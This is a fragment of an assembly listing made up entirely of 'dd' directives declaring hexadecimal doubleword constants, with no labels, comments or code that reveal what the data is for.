dd 6ECE10FEh, 3749B007h, 56D04700h, 0B44306ECh, 34F10058h
dd 20E26AFEh, 0C00FF22h, 0A47F4944h, 0E7C429h, 0C75A5694h
dd 78B68947h, 0E2E292F8h, 30C52524h, 2A00B00h, 65C19B0h
dd 0C939C162h, 90F01CA9h, 7925FB38h, 1C002E7Fh, 8235D9FDh
dd 39442Ch, 0C23C5017h, 2245B2FAh, 36080A03h, 804B8C7Fh
dd 0F3E41Eh, 487C9BECh, 2B497033h, 0EDDB2F0Bh, 9883D7C9h
dd 4AE0CAC1h, 64000441h, 0BEC57E2Dh, 9F4E19h, 56763FC9h
dd 8018B87Ch, 3CA53D00h, 0AC6959DFh, 0DB340399h, 232DE55Bh
dd 3AAB30DFh, 0E800CEA9h, 78E18A6Ah, 0F4420B1Bh, 632A00D3h
dd 65D55D6Fh, 0CF1CD40Fh, 330090B1h, 9F7E1A36h, 581C1F2Dh
dd 8160C039h, 0E667229Ah, 29523Ch, 69CA8804h, 4276F4h
dd 2CE428DCh, 17759305h, 12E77100h, 50F616F9h, 687C3A4Bh
dd 0DFDC699Eh, 0D34F00E1h, 0F59B305Ch, 992F700Ch, 59A2BBh
dd 90E58317h, 0D0D55BD4h, 66A3E300h, 0CE9E6146h, 52600032h
dd 5FE1ADBEh, 16071D6Fh, 11F1A78Fh, 0CF8800B9h, 0D09F3Eh
dd 0F2461359h, 70E53DD8h, 0ECDC5B09h, 1EF303F6h, 746087BCh
dd 4C5FE92Ah, 7050C5F2h, 2A5E71A0h, 0BC735Bh, 0EE62A694h
dd 477C10F7h, 5CC8A300h, 77D2B539h, 0BB7003Eh, 9C8C97E8h
dd 4800AF2Bh, 729AD957h, 1FE427h, 1171B95h, 0CC805C6Ah
dd 0F66C4E00h, 0CB4D38D3h, 160C0072h, 0ABE9C30Ah, 9105E730h
dd 731D027Ah, 77ACC9C4h, 90784000h, 8F450E18h, 4B647100h
dd 1281106Eh, 0B8B20043h, 73155D7Fh, 0EC180F0Dh, 44E025E3h
dd 0DA530F05h, 0B9C0B612h, 8C1FA972h, 100ED78h, 1CB458FFh
dd 0CA65FBh, 19414B6Ch, 9FEA263h, 47BF5600h, 0FCDD60EEh
dd 1E91B88Eh, 81AFA30Ah, 89026806h, 0B07CFCB9h, 4B97BD00h
dd 7A73A9DDh, 671C128Bh, 22500E75h, 0E9D4FF40h, 0A3009E57h
dd 3338D609h, 3FC686F6h
dd 593C6277h, 31E6BA00h, 92F24C1Eh, 0A6051228h, 60B32E02h
dd 0E0499638h, 0A5E3F1h, 73FE180Ch, 0DA14C484h, 8061AF00h
dd 8B2893F8h, 0A3F100E9h, 6B6E3FBEh, 5B90D09Ah, 23885603h
dd 0A0792836h, 0BDF35Ah, 1217AADBh, 0A9B3AC58h, 4E14C102h
dd 60441A35h, 5C673D1Ch, 48768A6Eh, 0A4C09C8Eh, 4CB97DFBh
dd 5BA64000h, 0F631486Bh, 37E200BCh, 0DE7A9409h, 0B43B5DAEh
dd 0D78FC7Ch, 0B2A3C007h, 7517D179h, 0E2E3A540h, 858238B9h
dd 0C4A43480h, 97BFA869h, 25336400h, 82F20855h, 0D2A3002Dh
dd 0E016E204h, 50E5D8Bh, 0F021F8h, 0C6208FA2h, 7032000Dh
dd 1A6AB2A6h, 5A0360F7h, 8EFA9D8Bh, 7E100038h, 0CABC59EEh
dd 871F8C8h, 8602A600h, 661B530Dh, 0FC20ED10h, 3C280089h
dd 0D57927AAh, 0DFFBF0DCh, 9C223780h, 80AC553Ah, 9781881Ch
dd 3C1B28h, 5CFD2944h, 0DF21A8DCh, 79506600h, 9AD283D9h
dd 0BC03008Bh, 0ACA7D4A4h, 71C74C0h, 83FD1896h, 55AC3F8h
dd 7FF6C09Fh, 0A31B1D66h, 89360724h, 0CF72D080h, 41EC62BCh
dd 836D7C38h, 86ACA647h, 0AD01FF88h, 1DF87A99h, 4C1FFE40h
dd 2A004E46h, 0F9CF56D9h, 41C045C5h, 840290FFh, 616300F6h
dd 0A44B6DE5h, 9560AD34h, 0D5335820h, 53F0062Fh, 19F79C13h
dd 0D76D707h, 0F5F1FEECh, 0B6D4B41Dh, 0CE2A0069h, 36A57316h
dd 0B8922BF4h, 0CA3C2C07h, 3B009A42h, 1CE33F61h, 0B5F9FCh
dd 0E680E701h, 0E0E4430Dh, 2C233D00h, 258FD650h, 42F073h
dd 0D56F56EFh, 16BE4824h, 0B230E210h, 213A5008h, 0D943DAC0h
dd 55D500B1h, 0DDA2D659h, 0EF013F31h, 0CEF81B5Eh, 4C200DCAh
dd 890A0054h, 1F14DB6Bh, 3091E97h, 832E8741h, 90F82270h
dd 6E8B30h, 0F28CBED3h, 84179C44h, 0D6809E00h, 0BAEF1308h
dd 0BE54006Fh, 85C02C0Fh, 0E779207Ch, 8D2B4803h, 0FA0A9C66h
dd 748C601Eh, 31E50772h, 0F0AEA006h, 40576DD3h, 0B5C99C1Fh
dd 0FA981F58h, 2C23F4AFh, 801C1631h, 20041A74h, 6B002615h
dd 597071C9h, 8ED16Dh, 341BA9Bh, 0DDFC1D93h, 0D8FE4577h
dd 1B1CEF00h, 0B9F04DCAh, 0A32E0459h, 905A0BDAh, 99C87798h
dd 7D3C7400h, 37A59AA0h, 0CA43DB9h, 0A22FC080h, 0D053E83Eh
dd 0B7D7D912h, 0FC878800h, 5B821BBh, 5D90842Ch, 1F000F9h
dd 0D27C4FF8h, 80E1FE3Ah, 944E6DC3h, 383A03Ah, 0AA5B5DD5h
dd 0FCC8A431h, 0BAE636BFh, 4D9B41Ch, 550813C0h, 8494FDh
dd 920329C1h, 6F27E0BFh, 38596100h, 0ACA0F725h, 101C0044h
dd 82A6579Dh, 0C0002CDh, 2DC2F33Dh, 24B368D6h, 0D893E4h
dd 2104A9F6h, 291F5047h, 274063E0h, 53D2CB9Ah, 0A4620033h
dd 0AAD769ACh, 2B007E97h, 0D8EDCD4Dh, 30C28CB9h, 19492838h
dd 0E4E002DBh, 0C034E748h, 2EC244C6h, 91FA0018h, 0DC2F9830h
dd 0AB0EFF63h, 80F148C9h, 94C3D858h, 0A96F006Ch, 8A687A76h
dd 9200698Bh, 0E6062805h, 964A79h, 0D6CAA0B6h, 0D7043D1Ch
dd 211B3501h, 6499D3F5h, 1C16A170h, 3832902h, 0E11F2BD1h
dd 0DCE0EA8Ah, 73E6BBB1h, 327E2498h, 3F5E5907h, 8AC00FD4h
dd 0F69AE4h, 0D681A344h, 0A49212FFh, 6F9B5A00h, 902F7143h
dd 729728B3h, 27D80FE4h, 2BE09EC9h, 3EFB7ECEh, 0C225CB00h
dd 397CE42Ch, 68280072h, 40984DEEh, 0DA0964A5h, 8273C233h
dd 0E07C6B7Bh, 95CC06Eh, 7E8EB11Eh, 0D3FCD420h, 4971C726h
dd 0B915E605h, 0FAE82A28h, 9EF75900h, 0CC7E172h, 9C487428h
dd 0F0943E01h, 59065D4Bh, 3581ECh, 0C9D7F2B1h, 860B464Dh
dd 0F43843Dh, 80C3DFB8h, 5A24874Ch, 0F62D1F0Dh, 624BC0D4h
dd 1D427038h, 0A507DE0Ch, 9FE83Ch, 0C1143706h, 1E0E411Bh
dd 95D2AF00h, 10DDB1E8h, 4D87006Ah, 0FDE28BF1h, 0D4007F77h
dd 8E2E8A66h, 0F841904h, 3DB47321h, 59773220h, 0D7198F61h
dd 5C604847h, 0C824E898h, 630023BDh, 1D15E06h, 0FB466ECh
dd 0EAB91D7Bh, 65F8BA40h, 923E77DAh, 0C48B0046h, 6CA3BCCAh
dd 610B3921h, 0A9F28503h, 32E8D8B9h, 0F1001DF7h, 45F6F55Eh
dd 0E94AECBh, 4147DCFAh, 9CB93EE0h, 81E464A6h, 4034C613h
dd 0DBD13800h, 0B0B75620h, 0E1C304D0h, 301DCBh, 0A0B8A7F2h
dd 0DF0D008Ah, 11AC84B2h, 4D021815h, 0A902B31Eh, 927E0C2h
dd 928C0407h, 0FB8A7849h, 0D9B519C0h, 7C1100F8h, 1C824314h
dd 8C5801DFh, 0B36209D0h, 0EC3896F1h, 8FEF0082h, 0EA177508h
dd 0EE007C6Ch, 14615AD8h, 24C3FAAh, 0D26ABB90h, 627F9AECh
dd 0B4D44014h, 78E207C5h, 12A34C28h, 0D4487225h, 75E23742h
dd 600750F6h, 4FFBBA02h, 675670D0h, 964400EAh, 6D8A9EE1h
dd 1000AFACh, 0E83105A4h, 977AD90h, 17FBD004h, 0E7A63C80h
dd 0DFE2E45Fh, 0F54D3E00h, 87E6726Bh, 7C2D03BDh, 13478945h
dd 0C71F15B8h, 3C7E80CCh, 286F60DEh, 83C45784h, 71A064Ch
dd 0CE976CC5h, 0F83A80C0h, 0C6580E27h, 0F7E0772Dh, 0DB548E47h
dd 0AA35C000h, 6043ECFCh, 0B4E11863h, 48D9042h, 2696C838h
dd 0D0005C68h, 0F72B2BCh, 0ED7000F0h, 2F87DFAEh, 0D207B6ECh
dd 8682BD3Eh, 535AF510h, 0B1A03E2h, 695F910Ch, 0E55B4007h
dd 3D541FDEh, 0DFE27CC7h, 0BBA48085h, 14719445h, 0DC156827h
dd 3B7D8280h, 0F02FD14h, 8FA1A7A2h, 2AFDC064h, 0F2AB00DCh
dd 0BF8CA871h, 7C077031h, 43D29106h, 4C67AF10h, 5F1D0054h
dd 74B36B17h, 2500FF9Bh, 0DC61EC81h, 2EEA03h, 4359D0BCh
dd 8CF64D0Ch, 7CDE48C0h, 73ACAA6h, 36DC0806h, 8E7DF0CBh
dd 0A53E1F12h, 0F8AB8051h, 0C208EFFDh, 29FC0013h, 828AAE73h
dd 0D00197FEh, 0DE5423Ah, 0F7C8AF5Eh, 0AEA7001Eh, 0C85957Dh
dd 0B00197DCh, 423BB579h, 0AFE57C65h, 7D00C428h, 0A8EA4BB3h
dd 0B0EEBDFh, 0AF42F08Ch, 0ADF900B1h, 0E07679A9h, 0EE9F8F1h
dd 84E7A05h, 0CAC55E0h, 9600A269h, 0FB4161D3h, 38E3A98Bh
dd 1E004729h, 56660848h, 85000F4Ah, 0A9F38C3Ah, 96DC55h
dd 0E9A209EEh, 4407CD21h, 60E7BC3Eh, 49C2B121h, 775C0F4Bh
dd 5700F6F2h, 71803960h, 83900D07h, 9E407DE3h, 0A29275h
dd 91FFAE6Eh, 0B577C646h, 89A7743Dh, 0A4A9Ah, 94A80EFCh
dd 41541DEEh, 12920085h, 29F82B8Eh, 5C091D00h, 2C39B680h
dd 7AD33BDCh, 5FF4BD85h, 0B9900EC6h, 0D461AA80h, 0EB3B3259h
dd 9630FD95h, 453448EDh, 0E03A005Dh, 0FF9838C1h, 377FD0DCh
dd 192CE70Fh, 4C00B35Ah, 633017B8h, 405601B2h, 699ADD3Ch
dd 9BBE0132h, 965FC4h, 0F086E162h, 99B105C0h, 87936101h
dd 0A5C6DE0Eh, 3AADDDCh, 55664ECFh, 0A880B132h, 0E5FB95F0h
dd 0F76FD4C3h, 6E04590Bh, 64848F58h, 0A920EDA7h, 0BB004D94h
dd 0BCD91098h, 0ACE323h, 400E81E1h, 13D3CEB6h, 10D77D13h
dd 537F2803h, 0E851F34Fh, 7F01A92h, 0BA94D68Fh, 59EEE0A6h
dd 0FC00EA0Ch, 0FBA0FF57h, 7C5673Dh, 68A4D0C7h, 0A975F3DEh
dd 6BC8E1C3h, 1100E26Dh, 0A5454DF8h, 0B935BC25h, 5A2A0034h
dd 0A02198DEh, 0FC82D80Fh, 8564A020h, 3C06B9C5h, 24017046h
dd 23593E6h, 0FBC852C6h, 53A2C0E0h, 0A4B7AF00h, 0D7D87712h
dd 0BFA000E5h, 0FF58DDFEh, 2B1CB1A6h, 2D401918h, 1F6D77Eh
dd 24764C6Ch, 0FF8B800h, 0D1BE899Ah, 0E1AEFF00h, 7E216E15h
dd 8F3A053Eh, 90F77163h, 66E5BD78h, 0D505957Ch, 5EEBDA75h
dd 0F800C0CFh, 98467591h, 3800E704h, 7EDCD001h, 1C5E5BD5h
dd 0AC8180FEh, 0BDED03B0h
dd 11968248h, 0EA006290h, 956BAD55h, 2ED1EDFDh, 2B043CAh
dd 719B63C8h, 0F674C4C0h, 2604589h, 0E5C007Ch, 84546F68h
dd 0BE01E252h, 5104FF07h, 2C60604Ch, 0B54800E6h, 25F276F9h
dd 0CF0195B8h, 70E47DEBh, 3460FEABh, 8456007Ch, 6F4E1475h
dd 0AE078E9Dh, 12FAF297h, 99160301h, 3EC9D8h, 179B517Dh
dd 0BDE3AE0Ch, 0A9EBE20Bh, 0A4A90241h, 3B785820h, 0A88F2CE1h
dd 7A226D02h, 7960EFE5h, 0AB2E4D48h, 0B200E3C1h, 85D21EAFh
dd 0C3D006Ch, 854B673h, 7C04A786h, 4DE4D1D7h, 3C8943C0h
dd 146A7A71h, 803BC858h, 81AF9000h, 0E633F3B6h, 26935605h
dd 0DAC07D83h, 91749Ch, 7240E0F9h, 0DD28DB15h, 1B325C00h
dd 3E291E79h, 0CA7400C3h, 75139562h, 0F6002B59h, 0F406ED7Ah
dd 0B9CE9Bh, 5519A953h, 3BF720D1h, 807D653Fh, 0DAB4115h
dd 0FDA8F57h, 5B26808Dh, 3ABD6F66h, 56376700h, 8E86700Dh
dd 194409F6h, 2C82151Dh, 8040ECBCh, 9724735Ah, 0CF036854h
dd 0F0BBA101h, 4DD76CAh, 0AF2CC51Ah, 0F27890D1h, 0DE394F36h
dd 8ECC09A6h, 38A0E07Bh, 446D5AA9h, 0E0A3F4B8h, 0C004A48h
dd 57903D37h, 0E8D794ABh, 54A5003Fh, 222C2BE0h, 0C40B70E5h
dd 348DCDh, 30AC37ECh, 38881E96h, 615800B5h, 1F04E972h
dd 0A1064500h, 0C6EDAE02h, 0E0CF49DBh, 80E55E1Ch, 9C543EE3h
dd 97006511h, 32FE942Dh, 7A7644D1h, 6F16041Bh, 0C0DA0C55h
dd 0AE13A69Ch, 7796D33Dh, 4FB0CF00h, 0C6FB8B35h, 0EF2000Fh
dd 0A6B60273h, 2A3E92FDh, 0B1E780D5h, 116A80D1h, 2BA00044h
dd 9B49A1CCh, 0AF00F33Fh, 9E7364B8h, 20918Fh, 29D0E6ABh
dd 4051744h, 2CD80F2Ch, 3A62AD00h, 0B0126402h, 5597332h
dd 0FF340E38h, 0DEF2C02Eh, 0F20EB6CAh, 493D8058h, 6389DFh
dd 3F403253h, 0E03750C0h, 9FCF0E9Ah, 0B5E11283h, 0C894ACA5h
dd 97FE45E4h, 916A8B00h, 0F4CDB9A9h, 9AFB07BDh, 60FE3961h
dd 9C276EDCh, 0F3A6D0Fh, 32DBC0C3h, 1FB29910h, 17FAA32Dh
dd 654C0239h, 0F0E8A7ADh, 0E00DEBAh, 354E1B14h, 7FD52F50h
dd 3D470006h, 6A330709h, 0C600B8EBh, 3C38C842h, 46B50C5h
dd 0EC45429h, 0A9C0C0E5h, 0E1018E34h, 10B433F5h, 0C7F0AF7Dh
dd 21300EADh, 41C3F29Eh, 46980F55h, 1B0B53EDh, 80877C26h
dd 8940499Ch, 4B640085h, 66D4F29Ch, 0D002E45h, 0C3DCF313h
dd 87EBD9h, 0BE3734F0h, 0C57EA36Eh, 410D8C00h, 0B496F2FFh
dd 62A9006Ch, 0B8F409ABh, 83008271h, 0CE87E665h, 7C5D3E7Dh
dd 14448DEh, 555F2100h, 0CCBADBD4h, 88D683EEh, 644A00BEh
dd 0BD03770Fh, 5044E0B4h, 79E79CF0h, 78FEED4h, 0D9CE78B6h
dd 0A02E0059h, 0CD00AF2Fh, 44F5BD20h, 3AE64870h, 0B8043E99h
dd 802B7EA4h, 12AB3D34h, 76E98100h, 0E4CDE073h, 1F3F0C87h
dd 0DECBAFDh, 0AB93BD18h, 190F690h, 5D359D37h, 20737707h
dd 0F1001A20h, 4A6E2A7Ch, 7F88A8E3h, 5BB8167Fh, 1614016Dh
dd 0ECB7CFB9h, 0AC3EA439h, 33CA0035h, 0CD4D56DAh, 7B430049h
dd 6C02B2ECh, 0E6028110h, 4A24AED7h, 4AC85021h, 5D600107h
dd 2C12596Ch, 0BB1E0020h, 732C5AB0h, 2A461771h, 0EE1D0753h
dd 83F8D07Bh, 630058C0h, 83F2C15h, 2B17032h, 47BCB61Bh
dd 0E86297A3h, 4345CAC0h, 0EEDF5A0Fh, 9330201Eh, 1E12EF95h
dd 40BE8C5Eh, 0CB2F7331h, 9E009F15h, 0CCE96CDh, 17C8F319h
dd 34454E6h, 30DD7780h, 9BA15CA8h, 85B73C07h, 0E6D017E0h
dd 123340h, 0ED9FE884h, 35EF535Fh, 881C2400h, 1B561D75h
dd 763E0F39h, 8D079C7Bh, 0B440801Eh, 241E2F79h, 74002A70h
dd 0F15AC8C0h, 717853h, 0E3CBE68Fh, 5270199Fh, 439AF500h
dd 0EA0AF8D4h, 5850E5Ah, 0DFE06555h, 0FA2AC5F3h, 8986831Fh
dd 2C0BB300h, 7ADCBA1h, 0BAC74884h, 44A75071h, 0FF0F87D3h
dd 0B27E02h, 36D2C5F4h, 0B79C0043h, 78E36084h, 2A00689Eh
dd 23B19F83h, 9170E9h, 35DD1F2h, 5B15425Ch, 0EDE8407Ch
dd 6B1F4170h, 0FB8F2C38h, 3D109807h, 0FC3C3831h, 45002644h
dd 0E8CF4E30h, 3B7176C8h, 0B80282Ch, 18311C1Fh, 3302F994h
dd 81082189h, 13ECE029h, 0DD6509A1h, 0A900DBEFh, 888DE686h
dd 0A04AD400h, 7352B10Dh, 0BBB1D75h, 633C05Eh, 0D534B9C4h
dd 2081CA00h, 0D3FCA129h, 10210EE3h, 0F5E60596h, 0C400F8ECh
dd 0C9F3A56Bh, 1C1E4D9h, 1285262Dh, 0C44EA13Ah, 0BEEC4793h
dd 8143AC00h, 83188CDh, 0B40C1C2Bh, 0EAFAC014h, 51A6A3E7h
dd 0A4987700h, 1C29838Fh, 0DD0800DFh, 6F1B65Eh, 0EF3C1039h
dd 1AB5072Dh, 0F920C7FEh, 0A4E50Ah, 0DAD503C2h, 4704BE14h
dd 68E9F81Eh, 0C3C0451Eh, 0D7F4C93Eh, 1E1B0001h, 3F7C2E56h
dd 90048E3h, 8ACAEBEDh, 7D9EDE31h, 18E1020Bh, 91D01A29h
dd 0C2009FF0h, 0BBA75FBFh, 5343C8h, 2D05A8DBh, 0B7C617B2h
dd 7DF7B812h, 0A1E2EA01h, 0BE606D64h, 74AB0FF5h, 0B9807577h
dd 520FB66h, 0C3A851Fh, 33E8EF40h, 0B88490D5h, 7BA33970h
dd 0A56C1607h, 0E95AC01Ch, 13008223h, 923E5294h, 1660BAh
dd 40EA6A89h, 1AD03984h, 4B17D900h, 0AF3537E6h, 6D0500E4h
dd 7D89E767h, 0E500D724h, 8AC6192Ah, 0E4436Ah, 0C821204h
dd 0E1A756ECh, 6B07D700h, 38EB09E0h, 3AFAC4h, 59D035FCh
dd 0CAA133D9h, 69DBD50Eh, 946E1F1Bh, 0EB76E00h, 0F3A5E61h
dd 0EFE930E7h, 8D898020h, 0A100B814h, 10D88E73h, 718CF6Fh
dd 3B0FED44h, 660AF0F4h, 1D5CF523h, 0C2700E1Ch, 74CE405Bh
dd 0C49360h, 0B36BE048h, 0FD09BB12h, 33B03400h, 9BE76A46h
dd 7AA6E2C6h, 0E58800C2h, 9115830Ah, 740075BAh, 0CFD59CADh
dd 1C31202Dh, 52F6A196h, 9A1F18h, 6F08B70Bh, 6C008AC0h
dd 0D66E7D5Bh, 0AB3CDEh, 0B2FCE39Bh, 884E0E91h, 26B50B00h
dd 806A7537h, 1CC03EDCh, 7E298480h, 5106773Bh, 658B5507h
dd 0F860B77Ah, 718FF06Fh, 57CD00D4h, 0F5B945Dh, 7A003463h
dd 0C95ACF02h, 0FD81F0h, 9BF22C91h, 483F9C08h, 0BE35961Dh
dd 22BB5140h, 0DEE113h, 0C9F6FD9Fh, 4B24A595h, 9750040Fh
dd 94A8A00Fh, 0F50609h, 0B0F3D45Dh, 1C843B40h, 9CE20507h
dd 27E7EE81h, 0BCD522C0h, 8F1A0318h, 15B86A3Eh, 0A2CA63D8h
dd 5C0D3B00h, 0F2629E07h, 0AA51005Dh, 864730Bh, 66000E61h
dd 0C27D5481h, 0A05EE6h, 0EFA7271Dh, 0BE8AE365h, 66D35C01h
dd 691B718Bh, 0D6490DFh, 3F52C0B2h, 0AA2E7EA9h, 0C8213D00h
dd 0E07D8D12h, 0DCD60064h, 7BA9F097h, 72267487h, 5C0008CEh
dd 9F322CB7h, 66A40279h, 28CAF9DFh, 52DC0068h, 0A65DBC3Dh
dd 80004840h, 192F41Bh, 12950571h, 0E55A1B6h, 0C0C099EEh
dd 7FF1B3BBh, 899E2D3Ah, 0A3F9E8C7h, 0C450D7F0h, 0DA41FDC0h
dd 51D300DBh, 4F830EABh, 8D00E46Fh, 0C19C6C33h, 0C01BB9AEh
dd 46AA2481h, 581271B4h, 0E3032B5Eh, 0F0E86F8h, 782A0320h
dd 110AEF06h, 0CA002278h, 0AB83F9B8h, 9EAE6Dh, 61046E06h
dd 0D0B6598Fh, 3D1A5000h, 0A52464E2h, 8DA03A8Bh, 0B79AC683h
dd 780E5853h, 273BD91Fh, 5B405F9Fh, 1F94670Eh, 0EF9C4Eh
dd 317813DAh, 7E03A599h, 611B7473h, 228CC89Fh, 34AFCC9h
dd 0A46C3BE8h, 5000DB1Fh, 0FB3FCA1Ch, 0F8D461D7h, 0D20CA0A2h
dd 632200F4h, 39E82E84h, 6E00C2A3h, 3DAC23ABh, 0B4CCD6Ch
dd 0A5C75F73h, 35E23F00h, 7F00AB61h, 0FF299051h, 741F5EBh
dd 64EA3909h, 70A3B083h
dd 250060A0h, 264EFF2Dh, 5E613h, 0CF4787C7h, 41B404D1h
dd 33F4C3Ch, 403C2BBEh, 0FC9CF8B7h, 7CE639h, 0F8682CEBh
dd 0CD6165D8h, 0E917E200h, 440F02A1h, 83DA1F80h, 75D74069h
dd 55A82272h, 9D162C00h, 91BCAECh, 0E9A00354h, 85A6F8F5h
dd 0ED193BF8h, 0A800D77Bh, 0A86FA74h, 7CBFA42Eh, 0BE00EDFh
dd 0F5819281h, 30EC8F3Dh, 513925EEh, 0ABABE5Dh, 0D0E73C99h
dd 0F44680BAh, 3DA3D90Dh, 9C613F20h, 0E04D30F4h, 1DAB2320h
dd 0CA05D27Eh, 0EF2C6CCEh, 9590E000h, 285E0F81h, 28F309FDh
dd 0C43752h, 8A5F913Fh, 58FF6B61h, 749B6438h, 0A5D4EE54h
dd 340066F8h, 7C57FC37h, 70BD460h, 0E41963BEh, 38C6A041h
dd 4E00F074h, 15ECDD62h, 5C675E13h, 3C03A4A2h, 0EFE164C6h
dd 14F2217Ah, 1CD15E66h, 34102190h, 455F8681h, 19C2A361h
dd 6CA010DAh, 99F50066h, 0C07FA725h, 0D90052CFh, 8C38D660h
dd 0EABE1E2h, 25473908h, 0C39EB6Ch, 0C7A29700h, 0E0636905h
dd 0E20300C6h, 0A9AAE70Bh, 0FB01E90Fh, 0DD236455h, 0B08730ACh
dd 8326E3C1h, 1000315Ch, 0FE6AA39Eh, 2BC349h, 83162DA5h
dd 0CCDE8A3Bh, 82683Dh, 0AD28F8Eh, 7BA3EADh, 67E589A4h
dd 240E815Fh, 4C53E8FFh, 608BDF39h, 74997C4Eh, 8D9D0307h
dd 75AE2DB9h, 8744C5C8h, 0EC98C000h, 0E4477CB6h, 52293063h
dd 3F9B9740h, 6A4C5F00h, 575654C7h, 2F21F93h, 0B24B4B3Dh
dd 97282F80h, 0F9008BFDh, 0E3A95AB1h, 309EF02h, 0F1483D41h
dd 4000F408h, 0B25C5753h, 0BF1D80h, 22AEEC0Bh, 0F4441438h
dd 1EC2BE1Dh, 7C8B18C0h, 1FF11316h, 43F080FCh, 0FD33CCAAh
dd 871D4CF8h, 0D2606362h, 28AE607Bh, 0F180F585h, 0F5589F31h
dd 790124FAh, 7B9C672Dh, 0A88FCF66h, 228C3213h, 85187CD0h
dd 7F180CFFh, 0E8C80188h, 739BA8D8h, 98CD103Eh, 0F79750Fh
dd 82D51E9Dh, 2258CE01h, 4CD0806Eh, 0C04BF054h, 60930341h
dd 77CB9AA8h, 0D8DD03C1h, 87005F65h, 63756195h, 0F815285h
dd 408FC5C3h, 2DC0E3E0h, 49386CABh, 993800B3h, 6A61D55Ah
dd 0C6E83Ch, 5C04322Fh, 0DEBDF0A3h, 7E1D8C3Ch, 18B8516h
dd 0B4285700h, 0E0B13A96h, 0C4F8EB27h, 265A007Fh, 0E43EDE46h
dd 7400286Dh, 3FD076AEh, 7668BA7Bh, 99290043h, 4C58A296h
dd 0D4092E5Eh, 69654Dh, 661E20E8h, 0EE530099h, 0B812DBBh
dd 3E03A964h, 41D7D6EAh, 0AFAAC0B6h, 3C9F7B8Fh, 3F00D129h
dd 0ACA55FC0h, 59551C69h, 4B0E680h, 2F3E3271h, 0B5FD1460h
dd 3C5B00B2h, 59AE5154h, 43BB057Ch, 0C0716265h, 0FD480E1Bh
dd 9F63DD18h, 8852E828h, 0F886C1Fh, 0C85D8827h, 84DC9340h
dd 424AB522h, 66F918E3h, 8A549051h, 2921DEC3h, 1F3C3817h
dd 843C21FAh, 9039A008h, 2667844Bh, 0AC421848h, 211F241Bh
dd 0CC12226Ah, 1EF05082h, 0B0403324h, 691674A5h, 0F6D48200h
dd 0E37322ADh, 7AAF08Dh, 1BB03CA0h, 0FA00EF1Eh, 70F66751h
dd 1348C900h, 0F17A5209h, 2FEF0003h, 8AA6F4CEh, 0D6011C77h
dd 44203419h, 2CD00C72h, 0A97171h, 7B60E554h, 128A110h
dd 64BD3650h, 1A3E3B07h, 6ED0BA5Eh, 3A5477B6h, 0FC00B541h
dd 0A11EE433h, 3600AB13h, 340F310h, 35A9863h, 37725FD4h
dd 33F86DDEh, 0AF606F7Bh, 0D70CCB29h, 0E5730065h, 0E8E40735h
dd 0E00E21DBh, 971F67Ah, 0CE1420CCh, 762DED56h, 13F40034h
dd 0D812E008h, 0E701BD49h, 7BADDFA8h, 588197FAh, 0F1C53CDBh
dd 9D2DF093h, 65F68100h, 0E5724667h, 0C82C0099h, 4DA3411h
dd 0A903D98Eh, 57F85B7Ah, 4D700064h, 6F2445CFh, 0C3E013CEh
dd 180A203h, 0A8C18742h, 0F04FB3h, 2D3129E1h, 738D5BBDh
dd 0A1FFB800h, 28EC3A69h, 27A40041h, 0B2BDFDDAh, 240065A6h
dd 0B816A20Ch, 764B15F2h, 90E70076h, 19579F67h, 271FED2Bh
dd 77805EA9h, 0F7669EECh, 87F40099h, 54753EACh, 2F1C5DC0h
dd 9185A713h, 0A580CFADh, 79F1639h, 0BC7689F3h, 60AA2768h
dd 5AD0F7C1h, 0C26B404h, 0B8807A62h, 7D3263C6h, 0E03D1F7Bh
dd 0E978C7CDh, 4A59F02Eh, 9106B564h, 989F71DCh, 45E20068h
dd 0AC8C10C0h, 18000ADAh, 0B9FBF367h, 0BD2983h, 0AE77A4F0h
dd 0DD658E7h, 9A000AE2h, 0A894E5D7h, 7D3D2DBEh, 731803E9h
dd 1AC6C0A6h, 8EBB4790h, 0F400C971h, 314ABE93h, 0A54DB6h
dd 98131ADEh, 0D638E1E5h, 5503F77Eh, 0D7B181FEh, 0D00CF39Fh
dd 1A2FCAC5h, 304D2271h, 0A3F00881h, 0A460D0ACh, 6CF6D500h
dd 0E425B1ABh, 0C8203062h, 4FE84610h, 38BF7E00h, 0FDE2CC03h
dd 0BE700041h, 431D3116h, 7600E5F2h, 19BF1BECh, 4CD24F2Ah
dd 0E100585Ah, 2D0B3D32h, 4C00319Fh, 8F79A309h, 123D356h
dd 0DA7A10D4h, 0E0E120FFh, 1001AD8h, 0B882FB96h, 60B46D11h
dd 3714D81Eh, 6149308h, 1886531h, 0D52B8A90h, 4BE82810h
dd 0B4490047h, 69F646F9h, 82008B1Dh, 0C5A12EFFh, 0D36D66h
dd 0C48C086Ch, 0A96F1BB5h, 4085D11Fh, 7513B200h, 0F59E51h
dd 70D9E4DDh, 59BDF760h, 4500B6ECh, 33D1403Fh, 175D67Dh
dd 898B9FECh, 0FC0FCB74h, 16003223h, 37D2888Ah, 3A6A40h
dd 9A39471Fh, 80B13DA6h, 3B76FF00h, 0F4880809h, 227FA95h
dd 0EACECF20h, 0D84087FEh, 59E49DECh, 0E700827Ch, 0F278EFB9h
dd 0C1DF8Ch, 67ED73E9h, 0C0BA8AD9h, 3D070D00h, 0A515C238h
dd 1CD47F81h, 3CBD2544h, 2D3F8600h, 311CA177h, 0B6099300h
dd 1FF0C23Ch, 2B5800DEh, 0B23EC355h, 0FF046CE2h, 0C2083848h
dd 9943E090h, 884C285Eh, 666838C8h, 0FC57F481h, 0E4735C5Ah
dd 8C03E436h, 11259535h, 0DD7CB8A2h, 0A8900098h, 7A15C948h
dd 1900D53Fh, 0DB035123h, 1E83EAAFh, 0EAE4388h, 81BF26C7h
dd 789E936Eh, 0A6CC8080h, 0D804975Ah, 21AE009Ah, 0A7B92842h
dd 0CF00DBF5h, 4F7F3CE9h, 58EC366h, 260E8DCBh, 19FC0014h
dd 0F281F11Ch, 0D325400h, 82D12A5Dh, 0A2080026h, 0B2D6E59Eh
dd 0E900F855h, 15CAF910h, 2DB73034h, 0F9C09B67h, 0B91D8338h
dd 0C140D971h, 0F7D1FC7h, 368B80Dh, 0F35C03D2h, 32C8E217h
dd 0B10056D1h, 33D447C2h, 32FB644h, 727BB9A1h, 50A028C4h
dd 0DE1287C3h, 5D02BAF6h, 4290D039h, 0AE28407Eh, 731A005Bh
dd 0C5AF9406h, 4C1EB0BCh, 0F100F0A6h, 0B881EBBh, 0A0987C09h
dd 8DEB9Eh, 34B4F8A8h, 90C3D2C7h, 6BFA43F8h, 521325EEh
dd 280E2188h, 64756040h, 309B2Dh, 926214EDh, 0A428A902h
